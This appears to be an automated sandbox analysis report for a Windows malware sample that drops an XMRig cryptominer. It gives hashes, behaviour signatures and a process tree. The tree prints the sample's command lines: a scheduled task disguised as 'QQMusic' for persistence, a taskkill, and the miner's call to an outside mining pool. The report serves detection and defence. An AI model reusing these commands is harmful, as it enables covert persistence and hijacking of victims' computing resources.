Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-12-2024 12:44

General

  • Target

    2024-12-20_d49256ff715f5c1eab0e233836adcc2e_luca-stealer_magniber.exe

  • Size

    9.0MB

  • MD5

    d49256ff715f5c1eab0e233836adcc2e

  • SHA1

    c173203859e9aa8f6f879c2f261e4be2bcd0b720

  • SHA256

    1a9390fbfb16f57e55d4aec702f174de39f03f57ed4c7c999041998c1b06647c

  • SHA512

    0a565ef31d18414ea7e04783aae1bd0224119bbd1e5616d64f428be4acf88e028910c523171f51b6a707818c233f38d9b7abb082b66e46d06b24849cddbbd6af

  • SSDEEP

    196608:rhHMBGC3PtXtT+Was8xwq1wo9JoYx5JAMdJOnZTG1IvQSaKe6NZOn:r2G0kwuwasMdJOnZKVSaaNZOn

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • UPX packed file 11 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 4 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-12-20_d49256ff715f5c1eab0e233836adcc2e_luca-stealer_magniber.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-12-20_d49256ff715f5c1eab0e233836adcc2e_luca-stealer_magniber.exe"
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • Checks for VirtualBox DLLs, possible anti-VM trick
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\2024-12-20_d49256ff715f5c1eab0e233836adcc2e_luca-stealer_magniber.exe /F
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2244
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\2024-12-20_d49256ff715f5c1eab0e233836adcc2e_luca-stealer_magniber.exe /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2728
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 360speedld.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2768
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 360speedld.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2952
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /flushdns
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2636
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:3056
    • C:\ProgramData\360speedld.exe
      C:\ProgramData\360speedld.exe -o stratum+tcp://mo.t1linux.com:21666 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:576
    • C:\ProgramData\SMB.exe
      C:\ProgramData\SMB.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1912
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /flushdns
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:840
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:852
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /flushdns
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2828
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:2788
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /flushdns
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:700
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:1728
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {21B2136D-479A-4F9B-8256-6A63B5FD40CB} S-1-5-21-3290804112-2823094203-3137964600-1000:VORHPBAB\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1544
    • C:\Users\Admin\AppData\Local\Temp\2024-12-20_d49256ff715f5c1eab0e233836adcc2e_luca-stealer_magniber.exe
      C:\Users\Admin\AppData\Local\Temp\2024-12-20_d49256ff715f5c1eab0e233836adcc2e_luca-stealer_magniber.exe
      2⤵
      • Executes dropped EXE
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • System Location Discovery: System Language Discovery
      PID:1752

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\360speedld.exe

    Filesize

    1.3MB

    MD5

    23d84a7ed2e8e76d0a13197b74913654

    SHA1

    23d04ba674bafbad225243dc81ce7eccd744a35a

    SHA256

    ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

    SHA512

    aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

  • C:\ProgramData\SMB.exe

    Filesize

    3.1MB

    MD5

    7b2f170698522cd844e0423252ad36c1

    SHA1

    303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5

    SHA256

    5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

    SHA512

    7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

  • C:\ProgramData\X64.dll

    Filesize

    85KB

    MD5

    7ac92f444697cf6fae393f41370c632d

    SHA1

    2836df09431e789cd9a48b2608fb5113c70b2d64

    SHA256

    95791123cd3e668a95ddda7de1c28f528c31235883a2e1e044a27689711a6beb

    SHA512

    b12609a85c549f1da278ff0bcd7c9f2fe5fc5a06c7d7bfbc237b80f5b4c8aa1617c5742839ada5a789469f5cfdf1b0faa49f2352e79bc248842526f615b6cda2

  • C:\ProgramData\X86.dll

    Filesize

    71KB

    MD5

    ab2c510c70948e367c22e53672b1e4f9

    SHA1

    76a370a6017a3a5316353f81ee70fa8919738cb1

    SHA256

    66a8af51c1743aea41268f090fc39aab85b182a160f05e6dc3259015d521b70e

    SHA512

    a283bac70567c6f889d9191c6b5ea581c9f90885915cae4c0d8d77d0c37dfa142cbe6e6cb95c4e036424bc063706363c9c5847cf70347b1bdb2a23f6fe27a2fb

  • C:\Users\Admin\AppData\Local\Temp\2024-12-20_d49256ff715f5c1eab0e233836adcc2e_luca-stealer_magniber.exe

    Filesize

    9.0MB

    MD5

    d49256ff715f5c1eab0e233836adcc2e

    SHA1

    c173203859e9aa8f6f879c2f261e4be2bcd0b720

    SHA256

    1a9390fbfb16f57e55d4aec702f174de39f03f57ed4c7c999041998c1b06647c

    SHA512

    0a565ef31d18414ea7e04783aae1bd0224119bbd1e5616d64f428be4acf88e028910c523171f51b6a707818c233f38d9b7abb082b66e46d06b24849cddbbd6af

  • memory/576-143-0x000000013FD50000-0x0000000140394000-memory.dmp

    Filesize

    6.3MB

  • memory/576-137-0x000000013FD50000-0x0000000140394000-memory.dmp

    Filesize

    6.3MB

  • memory/576-136-0x000000013FD50000-0x0000000140394000-memory.dmp

    Filesize

    6.3MB

  • memory/576-11-0x00000000000F0000-0x0000000000104000-memory.dmp

    Filesize

    80KB

  • memory/576-10-0x000000013FD50000-0x0000000140394000-memory.dmp

    Filesize

    6.3MB

  • memory/576-142-0x000000013FD50000-0x0000000140394000-memory.dmp

    Filesize

    6.3MB

  • memory/576-145-0x000000013FD50000-0x0000000140394000-memory.dmp

    Filesize

    6.3MB

  • memory/576-146-0x000000013FD50000-0x0000000140394000-memory.dmp

    Filesize

    6.3MB

  • memory/576-147-0x000000013FD50000-0x0000000140394000-memory.dmp

    Filesize

    6.3MB

  • memory/576-148-0x000000013FD50000-0x0000000140394000-memory.dmp

    Filesize

    6.3MB

  • memory/576-149-0x000000013FD50000-0x0000000140394000-memory.dmp

    Filesize

    6.3MB

  • memory/2372-16-0x00000000044E0000-0x0000000004B24000-memory.dmp

    Filesize

    6.3MB

  • memory/2372-9-0x00000000044E0000-0x0000000004B24000-memory.dmp

    Filesize

    6.3MB